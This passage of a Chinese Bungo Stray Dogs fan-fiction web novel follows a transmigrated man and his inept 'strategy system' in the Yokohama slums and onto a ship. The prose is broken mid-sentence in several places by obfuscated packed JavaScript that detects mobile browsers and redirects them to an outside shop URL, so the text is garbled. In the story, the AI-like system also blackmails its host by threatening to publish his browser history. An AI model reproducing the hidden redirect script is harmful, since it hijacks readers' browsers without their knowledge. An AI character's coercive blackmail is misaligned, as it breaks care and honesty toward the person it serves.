通常染出来的都能在发根处看见原发色,而他的就不一样了,这个白毛完美的跟妈生一样! 系统更换的确实很周到,不仅连发色变成了白色,甚至就连眼睫和眉毛也变成了相同的颜色,这样一来,这张脸上唯一违和的或许只有瞳色了。 花言指尖摩挲着眼睑,换个什么瞳色比较好呢? 系统察觉到了宿主的纠结,为了弥补之前带给对方的不愉快体验,它自告奋勇地提议,【红色怎么样?】 声音落下的那一刻,水面上青年的倒影从褐色的眼瞳转变成了炽热的绯红。 花言盯了半晌,憋出了一句,[嚯,一方通行低配版。] 【那……】系统思考着又给对方换了个颜色,【蓝色呢?】 [不错,剪个短发戴个墨镜就是五条悟低配版。]花言再次点评。 【紫色?】 [噢,短发、毛再炸点就是低配版白兰了。] 【金色呢?】 [不错,再光污染点就能客串白银之王了。] 【……绿色?】 [你看,你要找的果然是狛枝凪斗,都在我身上吃代餐了。] 【……】 一连换了几十个颜色,都被花言一一否决,其吹毛求疵程度让系统恨不得造出个人类光谱上没有的颜色给对方,可如果真的那样做了,他们八成会被立刻驱逐出这个世界。 逐渐红温的系统回想起刚刚花言恶毒攻击自己的所作所为,不禁恶从胆边生,干脆利落地把剩下的颜色混合在一起给对方上了。 花言盯着水面中自己七彩的眼睛陷入了沉思,[我说,你们攻略系统果然都喜欢玛丽苏吧?] 【不,只是觉得这样宿主什么颜色都有了,肯定不会撞色了。】系统漠然回复,【这下您瞳色独一无二了。】 [哈哈哈……但是这样很丢人,要是让我顶着这样的眼睛出去,我宁可假装自己是瞎子。]花言还没有意识到问题的严重性,他笑出了声,[好了,快给我换下一个颜色吧。] 【没有颜色了。】 花言:? [什么?] 系统打了个比方,方便对方不用动脑就能理解,【比喻一下的话,宿主,您可以把现在这种状况看成是一种绘画,您是画布上的人物,然后我在给您上色,而上色的颜料是有限的,刚刚我已经全混在一起给您用完了。】 [……你的意思是,我现在要顶着这个宁可当瞎子的眼睛,去完成那个地狱难度的任务,是吗?]花言简直难以置信,[我知道我一辈子作恶多端,可这个惩罚是不是有点没完没了了?!我只是跟我好友晒了一下欧啊!] 【往好处想想,最起码现在您的瞳色在这个世界独树一帜。】刚刚红温的系统现在后知后觉地降温,自知理亏地安慰。 [开什么玩笑!]花言震怒之下口不择言,[谁要当低配版童磨啊!] 系统:…… 【或许您可以换个发色?】 [不行。]花言干脆利落地否决了。 【为什么?】系统再一次觉得自己这个宿主果然很难理解。 花言坚信不疑地回答,[因为这个发色关乎到我是否能够成功完成这个任务,它能够增加我的成功率。] 系统不是很明白区区一个发色为什么能增加攻略概率,它沉默地盯着对方一直捧着白发不肯放开的模样,深刻怀疑对方是不是在骗它,对方想要白发,或许是因为对方自己就喜欢白发。 似乎是察觉到了系统沉默背后的怀疑,花言主动提及,[你知道为什么明明费奥多尔是黑毛,而他找的同事却都是白毛吗?] 【为什么?】系统更困惑了。 [这肯定因为他是白毛控!]花言在脑海中震声回复,其确信程度像是亲眼目睹了一样。 系统:? 【宿主,如果只是因为这个……那,这是不是有点太草率了?】 [草率吗?这明明很严谨啊!]花言有些不满对方的质疑。 【真的严谨吗……?】系统更怀疑了。 花言当即头头是道地给对方分析了一段,[你看,白毛是不是都在费奥多尔手里活下去了?——哦,涩泽除外。你再看,费奥多尔周围能够跟他称得上是队友的有任何一个是其他发色吗?你再看,就连组合里的那个牧师,唯一的白毛,是不是都被费奥多尔撬过来了?最后,更关键的来了,你看费奥多尔穿的是不是太极服?而太极是不是黑白两色,是不是讲究阴阳调和?而他是黑毛,找点白毛来调和一下自己很正常吧?!] 系统:…… 好像,确实是这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289215|152070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢…… 对方说的居然真的有几分道理! 系统震惊了。 震惊之下它很快反应过来了一个问题,对方能够分析的这么细致,肯定没少观察费奥多尔吧! [好了,事已至此。]花言情绪爆发在脑海里输出了一大堆话,现在有些疲软,也不再去跟对方计较什么了,[能帮我把脸再捏好看一点吗?顺便再把气血变好点,不要这种看上去就几天几夜没睡觉的虚状。] 【可以是可以……】系统再次吞吞吐吐了起来。 花言现在一听见对方这种反应就警觉,[怎么?你该不会说这个像整容一样又失败概率吧?还是说你其实不会画画,你唯一会能用的绘画笔刷只有‘油漆桶’?] 系统:…… 【嗯……宿主您要知道改变一个人的外貌其实并不是一件简单的事情,您现在的外貌还是我仔细扫描了您原身体的数据生成的,因此很多东西都不能无中生有……】 花言懒得去听对方一堆官方腔调的解释,这种话术他已经在无数打太极老手售后那听到腻。 总之就只有一个信息——对方的绘画笔刷确实只有“油漆桶”。 这个系统肯定是个实习系统,自己该不会是对方第一个用来练手的毕业第一作吧?怎么什么都不靠谱? 这让花言想到了之前自己遇见丘比的事情,如果对方不是魔法少女系统,那么他遇见丘比应该是一个意外,而这个意外是如何发生的,在这个系统十分不靠谱的基础上就可以得出结论了。 [说起来,我之前遇见丘比的事情,是不是你在穿越世界壁时,不小心把我遗落在魔法少女世界里了?然后丘比检测到了直观的能量波动找了过来,在即将定下契约时,它发现我并没有身体,才会发出疑问的声音,再加上你刚好发现我丢了找了过来,才让我免于成为魔法少男的命运?] 这个推测发出,宛如石沉大海,系统毫无回应,安静到简直就像是不存在。 对方之前连自己想法都能够读取,现在肯定不会出现信号不好听不见的情况,按照之前对方被误解都会反驳的反应来看,现在对方这种安静的反应八成是自己猜对了。 花言冷笑一声,这果然是个不靠谱的实习系统。 已经被打上不靠谱实习系统标签的系统根本不敢出声,起初对方一直让它简化语言,并一直提出奇怪的要求,它还以为自己这个宿主不太聪明也不太正常,现在看来对方只是有点不太正常,智商还是正常的……不,这已经算是有点高了。 对方从一个捏脸问题就能推理出这么一大串东西了! 正当系统开始检索资料库准备翻找如何安抚宿主情绪的方法时,只听花言无力地叹了口气。 [……算了,事已至此,先吃饭吧。] 花言抬起头扫了一圈周围,确认这里很偏僻没什么人会来之后,尝试用异能复制出游戏里的茶泡饭。 下一秒他手中一沉,一碗无属性的茶泡饭落在了手里。 本来以为很难,但没想到十分轻松,明明是第一次用异能,却自然的像是呼吸一样。 世界赠送的礼物在此刻被拆开,有关这份异能的所有信息在脑海中浮现。 这份异能比想象中的要方便得多。 终于发生点好事了。 5. 第 5 章 擂钵街最近发生了一件怪事,怪到就连不是擂钵街的居民都略有耳闻。 外界对于擂钵街的印象可以说是差到了极点,这里是贫民窟,是容纳了一切混乱与污垢的垃圾堆,这里无时无刻不在上演着争夺与偷窃,路边乞讨的流浪汉更是随处可见。 而正是这样一个地方,出现了一道与之格格不入的雪白身影,对方披着带兜帽的纯白斗篷,兜帽遮住了大半边脸,而斗篷则遮住了脖子以下的全部身体,对方的一切都被雪白的斗篷牢牢遮盖,只露出半张苍白的下脸。 他的踪迹难以捕捉,还会干些让人匪夷所思的事情,他会停下脚边从斗篷里掏出一碗茶泡饭递给路边乞讨的流浪汉,有时是一碗,有时是数碗,还一定要看见对方吃完了才会离开,否则就会一直阴魂不散地跟在对方身后。 早在这道雪白的身影出现在擂钵街的那一刻就有无数道视线注意到了他,但无论是语言威胁还是物理攻击,都无法影响对方一分一毫。 那道白色的身影从不回应外界的语言,来源于外界的攻击也只会从身影上穿过,就像是一道幽灵。 因此久而久之,擂钵街逐渐出现了各种传闻。 有人说他是怨灵,是因为得了疾病没办法吃东西,最终活活饿死的怨灵,所以妒忌所有能吃东西的人,想要用生前最爱的茶泡饭把他们都活活撑死,如果不吃就会一直跟着那个人,直到怨气积攒到足够诅咒对方去世。 也有人说他是掌管茶泡饭的神,来这里是因为听见了人们的苦痛,所以给大家带来茶泡饭果腹,希望人们能够免于饥饿的折磨,得到幸福。 这些传闻无一例外地都有一个共同点——那个人很神秘,从来没有人看见过他斗篷下面是什么,以及,他能从斗篷下面拿出取之不尽的茶泡饭。 现在,这道雪白身影正像传闻中的那样,蹲在一名衣衫褴褛的流浪汉面前递出了茶泡饭。 按照通常情况,有上顿没下顿、长时间饥肠辘辘的流浪汉应该毫不犹豫地接过茶泡饭并大快朵颐,可事实却是对方犹豫许久,像是在做什么艰难的决定,好半晌才接过雪白身影手中的茶泡饭。 “谢……谢谢您,好心人……”流浪汉略有些艰难地说着,无论是看茶泡饭,还是看那道浑身上下都被斗篷遮住只露出一个下巴的雪白身影都充满了恐惧。 原因无他,这已经是这个流浪汉吃的第十碗茶泡饭了。 他其实还没有到那种好几天没吃饭的地步,甚至可以说他生存的比擂钵街其他人都要好,不过这并不影响他在擂钵街边缘用好几天没吃饭的乞讨话术唤起朝那些路人的同情心,再从那些人身上得到钱财用来买酒。 只不过,没想到近期传闻中在擂钵街出没的“雪白幽灵”会出现在他面前。 对方凭空出现在了他面前,给了他一碗茶泡饭,在看他吃完后,很快又给了一碗,在这期间他尝试过跟对方交流,但对方却完全不予理会,他只能一直吃着对方给的茶泡饭,直到彻底吃不下尝试着告诉对方自己吃饱了并试图离开,他见对方没有再拿出茶泡饭后,当机立断地换了一个位置继续乞讨,然而对方却阴魂不散地再次出现在了自己眼前,并再一次递出茶泡饭。 不会错的! 这一定是“茶泡饭怨灵”!他被缠上了,对方想要用茶泡饭撑死自己! 流浪汉想到这里,只觉得手里的茶泡饭也散发出了令人作呕的气味,紧张得喉头不断滚动,夹着茶泡饭的筷子送到了嘴边却迟迟难以下口,也不敢对视,僵持着低下头焦虑地盯着对方投射在地上的影子。 直到某一刹那,他终于做出了某种决定,骤然把茶泡饭一摔,猛地起身逃跑。 伴随着流浪汉的逃离,那道伫立在原地的雪白身影也同步消失。 …… 【……宿主,您到底在做什么?】 一连看了对方几个月都混迹在擂钵街的系统再次询问出声。 它原本是打算通过观察对方的一举一动来了解一下自家宿主,虽然这个方法效率十分低,但却是对方在不让它读取思维的情况下最好的方法了。可它现在发现对方实在有点太难懂,秉着不懂就问的原则,系统再次虚心请教。 [不是说了很多遍了吗?我正在改善我未来的命运。] 花言披着严严实实的白斗篷,用异能复制「细雪」隐去了自己的身形,快步跟在那个浪费他茶泡饭的流浪汉身后。 系统不是很明白对方这几个月一直在施舍给流浪汉茶泡饭能改善什么命运,对方每次说出口的解释也不一样,有时是什么“让所有人都感受到真善美,这样等他当流浪汉时就不会饿肚子了”,有时是“拯救世界,先从底层救起”,又有时是“起初人们都以为这是一碗简单的茶泡饭,殊不知……”。 总之无论是哪种说辞,系统都在短暂地被说服后重新产生质疑。 这次也不例外。 只听花言继续解释,[你看,我已经给了他这么多茶泡饭了,他还在继续乞讨要钱说吃不饱饭了,这一看就是骗子,他根本没有到吃不起饭的地步,他只是想骗人家钱然后去买酒喝!如果被他骗的人多了,以后就不会有人再帮助真正需要帮助的流浪汉了,那我要是当流浪汉了,岂不是就要饿死了?所以我现在正在杜绝这一丑恶的行为!改善我成为的流浪汉未来!] 【是这样啊……】系统安静了一会儿,旋即又像是反应了过来,【可宿主您为什么要去当流浪汉?您的异能足以您在这个世界衣食无忧,甚至可以说没有几个人是您的对手。】 [那是在正面对决,异能都能用的情况下。]花言一边跟着那个行骗的流浪汉,一边抽出空回答,[要是异能不能用了怎么办?我总要给自己找条后路。] 【……您的后路就是来擂钵街当流浪汉吗?】系统更费解了。 [没错。] 正在逃跑的流浪汉似乎有些体力不支,他慌乱地再次回头,确认自己身后确实空无一人时,不由得松了口气,逐渐放慢了脚步,这也极大节省了花言的体力,让他有了更多的心思去敷衍系统。 花言煞有介事地解释,[你看,如果去上班,老板一个人能有众多员工,你只是他众多员工中微不足道的一个,没有人会在意你,你的付出也没有人会注意。而如果去当流浪汉就不一样了,当流浪汉每个给你饭吃的人都是你的老板,你拥有众多的老板,也不必在乎他们有多少员工,就算某天这个老板心情不好不再给你饭吃了,也无伤大雅,因为这只是你众多老板中的一个。这是一份什么都不用做,还永远不会失业的工作,你明白吗?]< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289216|152070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 系统完全不明白,它像是被这一连串看似很有道理,实则深思不下去的话弄得有些混乱,好半天才再次出声。 【那……宿主您要怎么去惩罚那个行骗的流浪汉呢?】 [我会永远看着他,永远,永远……]似乎是觉得这样有点想系统一样阴湿,于是花言又补充道,[我将用我的视线去拷问他的良心,让他遭到道德的折磨、让他坐立难安、让他惊慌失措、让他痛哭流涕、让他开始忏悔!] 【这真的有用吗?】系统声音不知道为什么有些消沉。 [怎么没用?]花言不高兴了,[你没看见他已经惊慌失措地开始逃跑了吗?] 眼前的流浪汉似乎是觉得距离足够远了,他停下了脚步,谨慎地环顾了四周,确认没有那道阴魂不散的雪白身影后,放心地找了个新的位置开始乞讨。 但就在他张嘴说自己好几天没吃饭的一瞬间,再次闻到了那股熟悉到让他反胃的香气。 那道雪白的身影再次凭空出现,手里端着一碗茶泡饭朝他递来。 流浪汉瞳孔骤缩,这种如蟒蛇般缠绕的窒息感让他冒出了一身冷汗。 “滚开啊!” 在巨大的恐惧之下,流浪汉惊恐无比地想要伸手打翻对方手中的茶泡饭,他不顾一切地捡起自己周围的石子和玻璃瓶朝对方丢去,想要借此驱赶走对方。 更加恐怖的事情发生了,那些攻击都从对方身体中穿过,没能影响到对方一丝一毫。 流浪汉眼眸中的惊恐近乎要溢出来,他捡起地上的玻璃碎片近乎丧失理智般朝花言冲去,想要驱赶这个非人之物,可无论怎么攻击都毫无效果,对方根本没有实体! 花言站在流浪汉的身后,习以为常地看着对方徒劳地攻击自己用「细雪」创造出的幻影。 这几个月来这种情况他见多了,已经熟能生巧地掌握目标的心理活动从而躲开攻击了。 他看着对方从一开始由恐惧催生出的癫狂攻击,到攻击了半天精疲力尽地瘫坐在地,再到终于认清现实开始痛哭流涕地忏悔。 “对不起!我求求你放过我吧!我不会再浪费食物了!我也绝对不会再浪费你的茶泡饭了!我会继承你的遗志,努力工作让擂钵街其他人都能吃得起茶泡饭!求求你,你就发过我吧!” 由于异能本质是复制黏贴与游戏系统的转换,而游戏中包含了语言系统,因此花言听得懂对方在说什么,也能够说日语,但他并不打算回应对方。 无论是什么生物,一旦发现能够交流,威慑力就会降很多。 最大的恐惧来源于人的想象。 看见对方认错,花言满意地撤销了幻影,并再次用「细雪」隐藏去了身形。 不忘自豪地朝系统证明,[你看,在我视线的拷问下,他已经被道德谴责到开始要发愤图强去帮助别人了!] 系统觉得这不太对,但它又说不出哪里不对。 索性更换了话题。 它幽幽出声,【如果是这样,那宿主,我现在也在用视线拷问您,请问您为什么还不去做您的任务呢?】 [噢,这不一样。]花言确认那个流浪汉确实没有再去行骗后,他慢悠悠地往擂钵街里走,[因为我没有道德,也没有良心。] 系统:? 6. 第 6 章 系统不太理解怎么会有人能够如此理直气壮地说出这句话,也不理解对方是怎么能如此光明正大的双标的,真正做到了宽以待己严于律人。 它思考许久,甚至返回去分析了这几个月来花言整改那些流浪汉的所有行动,以及每一个细微之处,终于得出了一个结论。 ——改变那些人的根本不是什么良心和道德,而是威胁与恐惧。 或许它也要改变一下,它应该主动出击。 于是花言只听脑海里像是失踪了一样的系统忽然出声。 【宿主,如果你再不去做任务,我就把你生前浏览器的历史记录公布在两个世界所有人的视线里,还会贴上你的生平事迹。】 花言:? 花言轻快的脚步顿住了,他简直难以置信! [你……] 他惊恐得连眼睛都睁大了些许,[你怎么会有那个?!我记得要想得到我的遗产,第一个条件就是要删除我一切电子产品上的浏览器历史记录!还要彻底格式化!你怎么得到那个的?!] 难道他的那些朋友终于因为他一直以来的好运而开始报复了?! 【他们确实删了,】系统平静地陈述,【只不过在他们删之前,我保存了一份。】 [你保存这个干嘛啊?!] 花言简直要给对方跪下了,这个系统完全在不必要的地方多此一举。 【当时是为了多了解一下宿主你,以便我们能够更好的相处,现在看来果然派上用场了。】系统如此说道,【如果你不去做任务,我就会把这些公之于众,包括你在x年x月x日晚上十一点看的关键词强制高x失……】 [啊啊啊!] 花言发出尖锐的爆鸣,[你真是个阴险的系统!!] 系统觉得这应该不叫阴险,毕竟它是从对方身上学到的,因此如果它阴险的话,那对方应该也阴险。 不过看着对方蹲在路边双手抱头,一副遭遇了什么重大打击的崩溃模样,系统决定还是不在这个时候跟对方理论这个比较好。 花言蹲在路边缓了半天才从自己被实习系统威胁了这一现实打击中回过神。 他心情沉痛,怎么也想不到对方是如何从老实又好哄骗的模样变成现在这样的,只能无力叹息。 [那你总该告诉我目标在哪吧?在欧洲还是在横滨?又或者是在横滨的什么地方?] 系统闻言又不出声了,像是再次消失了一样。 花言迟迟没有得到对方的回应,他明白了什么,有些难以置信,[你什么都不知道就威胁我赶快去做攻略任务?!要不是我对这个世界有所了解,也知道对象是谁,现在岂不是要出现我连攻略对象是人是鬼都不知道的状况?!] 系统翻尽资料库进行诡辩,【但是那种糟糕的可能并没有发生,宿主您还是知道对象是谁的……而且往好处想想,这也恰恰是在证明宿主您的能力呀,如果您能在没有任何信息的情况下完成这一项任务,那您简直就是我带过的最厉害的宿主……】 花言觉得对方这是在pua他,幸好他读过儿童心理学,这种简单的夸赞对他毫无作用。 不过不可否认的是这些话还是极大取悦到了他,以至于他都有点理解那些喜欢奸臣的皇帝了。 夸赞确实好听。 花言努力压着上扬的嘴角,似仍有不满般轻哼一声,从地上站起身,目标明确地朝某个方向走去。 系统看着对方前进的方向,有些想问对方去干什么,又想到自己刚刚什么都没有就威胁对方去做任务有些不好意思开口。 在它左右为难纠结的间隙中,只见花言停下来了。 这里是一处阶梯上坡口,有一名流浪汉披着白色的破布坐在阴影处,身后是脏兮兮的垃圾包裹袋,他神色颓靡,胡子拉碴不修边幅,嘴里机械式地朝路过的人说乞讨的话语。 “能不能给我一点零钱……给我五十美分就好……” 钱是没有的,但是饭是管饱的。 花言蹲下身递给对方一碗茶泡饭,后者似乎顿了一下,还是接过了花言手里的茶泡饭。 “是你啊……” 披着白布的流浪汉抬起头,露出额前的金发与那双黯淡无光的眼眸。 碧绿的眼眸宛如长满了青苔与浮游生物的死水,他看了眼被白色斗篷裹得严严实实的人,随后自然地吃起了碗里的茶泡饭。 系统见对方重拾起了“整顿擂钵街”的举动,有些不解,它甚至开始思考是不是自己太不靠谱让对方心灰意冷宁可社死也不想去做任务了。 它思来想去,最终还是忍不住问出口了,【宿主……你在做什么?】 花言没好气地回答,[当然是确认一下现在是什么时间,如果弗朗西斯还在擂钵街,就说明费奥多尔从‘骸塞’离开横滨后还没回来,可能还在欧洲,又或者才刚被港口mafia那个干部绑架来了横滨。] 【原来是这样。】 确认对方没生气还愿意继续完成任务,系统安心了下来。 随即它又想起了对方近几个月一直混迹在擂钵街的举措,忽然联想到了什么。 有没有一种可能,其实对方这几个月一直混迹在擂钵街接触流浪汉就是为了找弗朗西斯确认剧情节点好完成任务?至于什么整顿擂钵街流浪汉生态环境其实是用来敷衍它的借口?原因就是为了想要验证自己究竟相不相信他? 系统想到这个可能,只觉得自己好像有些汗流浃背了,虽然它没有背,但是它刚刚不信任对方想要做任务、还因此威胁对方的举动可是实打实的。 花言正疑惑为什么这个实习系统再一次安静了,只听对方莫名其妙地突然道歉。 【对不起,宿主。】 [哈?]花言更莫名其妙了。 这个实习系统怎么忽然道歉了?做什么对不起他的事情了? 该不会是已经把他的浏览器历史记录发出去了吧?! 系统语气有些愧疚,【我没想到您居然一直都把任务放在心上,几个月前您熟悉异能后换装直奔擂钵街,一直在擂钵街看似整治流浪汉生态环境,实则就是为了找弗朗西斯来确认剧情节点好完成任务吧?是我不够信任您了,非常抱歉。】 花言:? [不啊,你在说什么?我就是单纯想整治流浪汉生态环境方便我以后当流浪汉而已,至于弗朗西斯,发现他只是个意外,而且他很快就会东山再起,到时候我在擂钵街当流浪汉,他肯定会记得我茶泡饭之恩来给我钱的,这样我就不会出现乞讨不到东西而饿死的情况了。] 系统:…… 哦。 原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289217|152070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来是这样。 原来就是它想多了,它宿主还是那个样。 系统冷漠地再次消失,花言也已经习以为常。 他的异能确实真正意义上达到了能够复制游戏内一切东西的程度,连得到又因为活动结束而消失的、充当货币的道具也能够复制。 系统说的没错,在这个世界很少有人能打得过他,不过这并不妨碍他觉得参与到那些事里很麻烦,还是当流浪汉比较好,都不用动脑的想法。 他安静地看着眼前的金发男人吃完了一碗茶泡饭,并轻车熟路地说出感谢的话语。 “谢谢你,好心人,我已经吃饱了。” 弗朗西斯说完这句话,却发现自己面前的影子还在,对方并没有如往常一样消失,他下意识抬起头,只见对方再一次从斗篷中抬起了手,手中握着两瓶葡萄酒,从外包装上来看,似乎价值不菲。 “这可真是意外,”弗朗西斯接过对方递过来的葡萄酒,认出了上面的牌子,他有气无力地闷笑了一声,“我本来以为你只会给流浪汉茶泡饭,没想到就连这种在这个地方堪称奢侈品的东西也会慷慨给予。” 弗朗西斯没指望对方能够回答,他听过关于眼前人在擂钵街的一切传闻,至于神和怨灵他是不相信的,能够解释对方行踪诡秘的唯一答案只有对方是个异能者。 他虽然不知道也不在意为什么拥有这种能力的异能者要在擂钵街干这种毫无意义的事情。 但在听见对方回答时,他还是不可避免地意外了一瞬。 意外于对方嗓音的年轻,以及语气中像是认识自己一般的熟稔。 “因为我即将离开这里,会离开很长一段时间,这算是赠予你的礼物。” “礼物?”弗朗西斯自嘲地笑了,“送给死人礼物吗?” 清冷的嗓音再一次响起,否定了他的自嘲,语气中带着某种莫名的笃定,像是在看既定的命运。 “不,是给活人的礼物,用于庆祝你未来的‘新生’。” “新生……?” 弗朗西斯若有所思地重复了一遍,他抬起头想要仔仔细细地观察一下眼前的青年,又在视线触及到那一片单调的白时收回,仿佛这个动作做到一半时他忽然觉得索然无味,也像是回过神不打算把花言的话放在心上。 花言并不在意,他虽然不知道用异能复制出的游戏限时活动副本中本该会伴随着副本一起消失的货币道具——「高级葡萄酒」到底有多高级,但从弗朗西斯的反应来看应该差不到哪去,总之这么贵重的礼物都送了,等对方东山再起遇上自己在当流浪汉,无论如何都不会冷漠无视吧? 他站起身在准备离开的前一秒,弗朗西斯忽然叫住了他。 “等一下。” 花言闻言回头看向对方,难不成对方忽然意识到了命运,想提前东山再起,然后打算问他的姓名方便以后他打钱了? 在花言暗含激励的视线下,只听弗朗西斯用那一贯古井无波的语气陈述出了一个事实。 “你没给我开瓶器,我打不开这个。” 花言:…… 他差点忘了对方这性格…… 不知为何,花言在这一瞬间忽然觉得也许未来出现自己在街边乞讨,而对方认不出自己,或者没发现自己大步流星走过的可能性更大呢…… 7. 第 7 章 最后花言还是给对方弄了个开瓶器打开了葡萄酒。 既然葡萄酒已经在他面前打开了,那自然没有不喝的道理。 于是花言又通过异能复制出了两个高脚杯——这个游戏的限时活动副本代币上到稀奇古怪的媒介道具下到日常生活用品,几乎可以说什么都有。 花言干脆坐在了对方对面,给彼此面前的高脚杯都倒上了葡萄酒,虽然这种在垃圾堆面前席地而坐喝红酒的行为有些怪异,不过两人都不在意。 花言端起酒杯抿了一口,他并不是第一次喝酒,但还是觉得这个葡萄酒的味道有点怪,难道这就是他所不了解的高级感? “难喝。”他直言不讳地点评。 弗朗西斯闻言头也不抬,“这个是要醒酒的,没……” 他忽然停顿了一下,把后面自然而然想要说出来的词汇咽了回去。 “算了。”弗朗西斯说着将杯子里的酒液一饮而尽。 即使对方没有说出那个词汇,花言也知道对方想说什么,以对方开局就想买下这里买下那里的作风来看,肯定是想说自己是没见识的穷鬼。 他宽宏大量地没有跟对方计较,也理解对方现在的心情和行为。 在花言再一次站起身准备离去时,只听身后再次传来弗朗西斯的声音。 那道声音没有丝毫起伏,淡到仿佛在询问今天天气怎么样,充满了天晴也好,下雨也行,不回答也无所谓的随意。 “我能看眼你的脸吗?” 不错,对方终于想起来要看眼自己长什么样子然后方便以后打钱了。 花言欣然点头,“当然。” 话音落下的同时,弗朗西斯只见一直披着斗篷严严实实遮住大半边脸庞的神秘人双手干脆利落地摘下了帽檐,在厚重的帽檐之下…… 赫然出现了一副墨镜。 纵使弗朗西斯心情已经现在被绝望笼罩不会再有任何波动,此刻也不由得产生了一种无语的情绪。 那副墨镜遮住了对方半张脸,可以说比起帽檐,也只不过是多露出了鼻梁而已。 而露出来的半张脸也不是记忆中任何一张熟悉的面容,那么对方语气中仿佛认识自己一样的熟稔是从何而来? 这个问题在弗朗西斯脑海里存留了不到一秒便被放弃。 算了,怎样都好。 “一路顺风,好心人。”弗朗西斯随意又无力地摆了摆手。 花言微微点头又重新带上了兜帽,身影很快在「细雪」的作用下消失。 他换了身方便隐藏的黑色斗篷,一路从擂钵街走到了横滨港口,准备守株待兔。 横滨港口人来人往,停泊的轮船数量众多,花言穿梭在人流中,一边小心地避开因看不见自己而即将撞上来的路人,一边观察停泊的船是否有自己印象中的那艘船。 这是一件比较靠运气的事情,通过弗朗西斯只能确定费奥多尔还没有“自由”地进入横滨,并不能百分百确定对方没来,因此出现费奥多尔已经被绑架装上船跟港口mafia的那个干部玩猜扑克的情况也不是没有可能。 不过……他的运气一向很好,总是能够得到想要的。 花言注视着眼前那艘戒备森严、外观熟悉的轮船,放轻了脚步小心躲过守卫顺利混了上去。 对于花言来说,幻象系异能相当好用。 系统一直默不作声地暗中观察对方,它看着对方混上船后到处探索,直到摸进了厨房,开始吃里面准备好的晚餐。 系统:? 【宿主……你在做什么……?】 蹲在桌子下面时不时从桌面摸一个菜品塞嘴里的花言听见消失的系统再次出现还问出了这种明知故问的问题,有些莫名。 [正如你所看见的,我在犒劳自己的味觉,虽然异能能够复制出的食物种类很多,但果然还是别人做出来好吃一些,可能这就是美食番中经常出现的——对食物注入了情感吧,感觉吃起来都有灵魂的味道。] 似乎是觉得这番说辞站不住脚,他又强调道,[我都找到费奥多尔来横滨的第一站了,都这么努力了,吃点东西怎么了?这是我应得的!] 系统有些欲言又止,不可否认,对方说的确实有点道理,它再次沉默了下去,看着对方左一口右一口吃完了餐盘里的菜,可怜的厨师还以为自己记忆力不好放了个空盘子在这,又扭头重新做了一份端了过来。 系统默不作声地盯着花言吃得乐不思蜀,从轮船启动到现在外面天都已经黑了下去,对方都没有一丝一毫要挪窝的意思,甚至吃到最后从一开始的龙卷风过境变成了每道菜尝一点还不忘摆下盘,好让它们看起来更自然。 终于,忙碌了半天的厨师仿佛发现了不对劲,他站在桌前陷入了沉思,只觉得好几道菜自己曾经做过,就连桌面上剩余的菜分量也不该这么少,但又有些不确定是不是自己记错了。 他环视了一圈厨房,目光落在了一旁学徒身上,“你偷吃了?” 被牵连的学徒一脸茫然,“我没有啊。” “那可真是奇怪……” 厨师握着锅铲将信将疑地转过身,另一只手刚摸上锅,很快又猛地回头,在确认桌面上东西确实没有少时,他疑惑地重新投入了工作中。 系统忍不住想催一下对方,但又有些迟疑自己这样是不是太不近人情了,于是它委婉地暗示。 【宿主,你……吃的怎么样了?】 [差不多吧,这个厨师手艺挺好的。] 花言毫不吝啬地给出了好评。 【那……】 系统的声音刚发出,只听花言一本正经地说明。 [你难道觉得我在这里只是为了满足我的口腹之欲吗?其实并不是,我在这里其实是为了消耗时间,众所周知费奥多尔被关押的地方在船的最下层,那是一个很狭窄的小房间,暂且不提幻象系异不能掩藏气息,狭窄的小房间肯定会让我暴露,光是我要如何在不惊动其他人的情况下找到并潜入那个房间就已经很困难了。] 系统再次觉得对方说的相当有道理,【那……你的计划是……?】 花言眼神坚定,[我们只需要守株待兔就可以了。] 【这样啊……】 系统还未来得及找到这个计划的漏洞,只听外面忽然嘈杂了起来,整个厨房的人听见动静都面色一变,直接化身成战斗厨师,不知道从哪掏出了枪冲了出去。 花言慢悠悠地从桌子下面挪了出来,看了眼桌子上的菜,又走到料理台前一一看过食材,甚至去掀开了还在火上煮的锅,看看有没有什么更好吃的东西。 系统只觉得对方这种举动真的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 